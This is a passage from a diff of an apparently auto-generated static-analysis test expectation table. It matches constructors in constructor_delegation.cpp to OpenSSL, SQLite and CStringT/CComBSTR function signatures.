sqlite3_column_decltype16 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_double | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_int | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_int64 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_name | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_name16 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_text | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_text16 | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_type | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_column_value | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (sqlite3_stmt *,int) | | sqlite3_stmt_explain | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (stack_st_PKCS7 *,int) | | PKCS12_add_safes | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (stack_st_SSL_COMP *,int) | | ssl3_comp_find | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (stack_st_X509_ATTRIBUTE *,int) | | X509at_delete_attr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (stack_st_X509_EXTENSION *,int) | | X509v3_delete_ext | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (uint16_t,int) | | tls1_group_id2nid | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (unsigned char *,int) | | RAND_bytes | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (unsigned char *,int) | | RAND_priv_bytes | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (unsigned char *,int) | | ossl_ipaddr_to_asc | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (unsigned short,int) | | dtls1_get_queue_priority | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (void *,int) | | DSO_dsobyaddr | 1 | +| constructor_delegation.cpp:10:2:10:8 | MyValue | (void *,int) | | sqlite3_realloc | 1 | | constructor_delegation.cpp:10:2:10:8 | MyValue | (wchar_t,int) | CStringT | CStringT | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (ASN1_STRING *,int) | | ASN1_STRING_length_set | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (ASYNC_WAIT_CTX *,int) | | ASYNC_WAIT_CTX_set_status | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | BN_clear_bit | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | BN_mask_bits | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | BN_set_bit | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | BN_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | bn_expand2 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | bn_wexpand | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIGNUM *,int) | | ossl_bn_mask_bits_fixed_top | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_find_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_set_init | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_set_retry_reason | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | BIO_set_shutdown | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (BIO *,int) | | TXT_DB_read | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (CMS_SignerInfo *,int) | | CMS_signed_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (CMS_SignerInfo *,int) | | CMS_unsigned_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DH *,int) | | DH_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DH *,int) | | DH_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DH_METHOD *,int) | | DH_meth_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DSA *,int) | | DSA_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DSA *,int) | | DSA_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (DSA_METHOD *,int) | | DSA_meth_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EC_GROUP *,int) | | EC_GROUP_set_asn1_flag | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EC_GROUP *,int) | | EC_GROUP_set_curve_name | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EC_KEY *,int) | | EC_KEY_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EC_KEY *,int) | | EC_KEY_set_asn1_flag | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EC_KEY *,int) | | EC_KEY_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (ENGINE *,int) | | ENGINE_cmd_is_executable | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (ENGINE *,int) | | ENGINE_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_impl_ctx_size | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER *,int) | | EVP_CIPHER_meth_set_iv_length | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_key_length | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_set_num | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_KEYMGMT *,int) | | evp_keymgmt_util_query_operation_name | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_MD *,int) | | EVP_MD_meth_set_app_datasize | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_MD *,int) | | EVP_MD_meth_set_input_blocksize | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_MD *,int) | | EVP_MD_meth_set_result_size | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_MD_CTX *,int) | | EVP_MD_CTX_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_MD_CTX *,int) | | EVP_MD_CTX_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY *,int) | | EVP_PKEY_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY *,int) | | EVP_PKEY_save_parameters | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY *,int) | | EVP_PKEY_set_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_get_keygen_info | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_kdf_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_nid | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_paramgen_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dh_rfc5114 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_dhx_rfc5114 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_param_enc | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ec_paramgen_curve_nid | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_ecdh_kdf_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_hkdf_mode | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_padding | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (EVP_PKEY_CTX *,int) | | EVP_PKEY_CTX_set_rsa_pss_saltlen | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_gindex | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_h | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (FFC_PARAMS *,int) | | ossl_ffc_params_set_pcounter | 1 | | constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (LPCOLESTR,int) | CComBSTR | Append | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_BASICRESP *,int) | | OCSP_BASICRESP_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_BASICRESP *,int) | | OCSP_resp_get0 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_ONEREQ *,int) | | OCSP_ONEREQ_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_REQUEST *,int) | | OCSP_REQUEST_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_REQUEST *,int) | | OCSP_REQUEST_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_REQUEST *,int) | | OCSP_request_onereq_get0 | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OCSP_SINGLERESP *,int) | | OCSP_SINGLERESP_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OPENSSL_STACK *,int) | | OPENSSL_sk_delete | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OPENSSL_STACK *,int) | | OPENSSL_sk_reserve | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OPENSSL_sk_compfunc,int) | | OPENSSL_sk_new_reserve | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_deadline | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_ACKM *,int) | | ossl_ackm_get_ack_frame | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_ACKM *,int) | | ossl_ackm_get_largest_acked | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_ACKM *,int) | | ossl_ackm_on_pkt_space_discarded | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_CTX *,int) | | OSSL_CMP_CTX_set_serverPort | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_failInfoCode | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_ctx_set_status | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_msg_create | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_CTX *,int) | | ossl_cmp_pollReq_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_MSG *,int) | | ossl_cmp_msg_set_bodytype | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_PKIHEADER *,int) | | ossl_cmp_hdr_set_pvno | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_CertId | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_REVREPCONTENT *,int) | | ossl_cmp_revrepcontent_get_pkisi | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_raverified | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_accept_unprotected | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_grant_implicit_confirm | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CMP_SRV_CTX *,int) | | OSSL_CMP_SRV_CTX_set_send_unprotected_errors | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_CRMF_PKIPUBLICATIONINFO *,int) | | OSSL_CRMF_MSG_set_PKIPublicationInfo_action | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_DECODER_CTX *,int) | | OSSL_DECODER_CTX_set_selection | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_ENCODER_CTX *,int) | | OSSL_ENCODER_CTX_set_selection | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_get_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | OSSL_LIB_CTX_set_conf_diagnostics | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | ossl_ctx_global_properties | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | ossl_dh_new_by_nid_ex | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | ossl_lib_ctx_get_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_LIB_CTX *,int) | | ossl_mac_key_new | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_PARAM *,int) | | OSSL_PARAM_set_int | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_QRX *,int) | | ossl_qrx_get_bytes_received | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (PKCS7 *,int) | | PKCS7_set_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_CHANNEL *,int) | | ossl_quic_channel_new_stream_local | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_ENGINE *,int) | | ossl_quic_engine_set_inhibit_tick | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_PORT *,int) | | ossl_quic_port_set_allow_incoming | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_RCIDM *,int) | | ossl_quic_rcidm_get_preferred_tx_dcid_changed | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_RSTREAM *,int) | | ossl_quic_rstream_set_cleanse | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_RXFC *,int) | | ossl_quic_rxfc_get_error | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_RXFC *,int) | | ossl_quic_rxfc_has_cwm_changed | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_SSTREAM *,int) | | ossl_quic_sstream_set_cleanse | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_STREAM_MAP *,int) | | ossl_quic_stream_map_get_accept_queue_len | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (QUIC_TXFC *,int) | | ossl_quic_txfc_has_become_blocked | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA *,int) | | RSA_clear_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA *,int) | | RSA_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA_METHOD *,int) | | RSA_meth_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_hashalg | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_maskgenhashalg | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_saltlen | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (RSA_PSS_PARAMS_30 *,int) | | ossl_rsa_pss_params_30_set_trailerfield | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_key_update | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_post_handshake_auth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_purpose | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_quic_tls_early_data_enabled | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_quiet_shutdown | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_read_ahead | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_security_level | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_shutdown | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_trust | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL *,int) | | SSL_set_verify_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CONNECTION *,int) | | dtls1_read_failed | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CONNECTION *,int) | | ossl_statem_send_fatal | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CONNECTION *,int) | | ossl_statem_set_in_init | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CONNECTION *,int) | | tls1_shared_group | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_post_handshake_auth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_purpose | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_quiet_shutdown | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_security_level | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_srp_strength | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_trust | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | SSL_CTX_set_verify_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_CTX *,int) | | ssl_md | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (SSL_SESSION *,int) | | SSL_SESSION_set_protocol_version | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_REQ *,int) | | TS_REQ_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_REQ *,int) | | TS_REQ_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_RESP_CTX *,int) | | TS_RESP_CTX_add_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_STATUS_INFO *,int) | | TS_STATUS_INFO_set_status | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_TST_INFO *,int) | | TS_TST_INFO_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_TST_INFO *,int) | | TS_TST_INFO_get_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_add_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (TS_VERIFY_CTX *,int) | | TS_VERIFY_CTX_set_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (WPACKET *,int) | | ossl_DER_w_begin_sequence | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509 *,int) | | X509_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509 *,int) | | X509_self_signed | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_ACERT *,int) | | X509_ACERT_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_ATTRIBUTE *,int) | | X509_ATTRIBUTE_get0_type | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_CRL *,int) | | X509_CRL_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_NAME *,int) | | X509_NAME_delete_entry | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_REQ *,int) | | X509_REQ_delete_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_REVOKED *,int) | | X509_REVOKED_delete_ext | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE *,int) | | X509_STORE_set_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE *,int) | | X509_STORE_set_purpose | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE *,int) | | X509_STORE_set_trust | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_error_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_purpose | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_STORE_CTX *,int) | | X509_STORE_CTX_set_trust | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_get0_host | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_auth_level | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_depth | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_purpose | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (X509_VERIFY_PARAM *,int) | | X509_VERIFY_PARAM_set_trust | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (acttab *,int) | | acttab_insert | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (char *,int) | | PEM_proc_type | 1 | | constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (char,int) | CStringT | CStringT | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const ASN1_BIT_STRING *,int) | | ASN1_BIT_STRING_get_bit | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const BIGNUM *,int) | | BN_get_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const BIGNUM *,int) | | BN_is_bit_set | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const BIO *,int) | | BIO_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const BIO *,int) | | BIO_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const CMS_SignerInfo *,int) | | CMS_signed_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const CMS_SignerInfo *,int) | | CMS_unsigned_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const CRYPTO_EX_DATA *,int) | | CRYPTO_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DH *,int) | | DH_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DH *,int) | | DH_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DH *,int) | | ossl_dh_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DSA *,int) | | DSA_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DSA *,int) | | DSA_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const DSA *,int) | | ossl_dsa_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const ECX_KEY *,int) | | ossl_ecx_key_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EC_KEY *,int) | | EC_KEY_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EC_KEY *,int) | | ossl_ec_key_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const ENGINE *,int) | | ENGINE_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EVP_CIPHER_CTX *,int) | | EVP_CIPHER_CTX_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EVP_MD_CTX *,int) | | EVP_MD_CTX_test_flags | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EVP_PKEY *,int) | | EVP_PKEY_get_attr | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const EVP_PKEY *,int) | | EVP_PKEY_get_ex_data | 1 | +| constructor_delegation.cpp:19:2:19:15 | MyDerivedValue | (const ML_DSA_KEY *,int) | | ossl_ml_dsa_key_dup | 1 | +| constructor_delegation.cpp:19:2:19:15 | 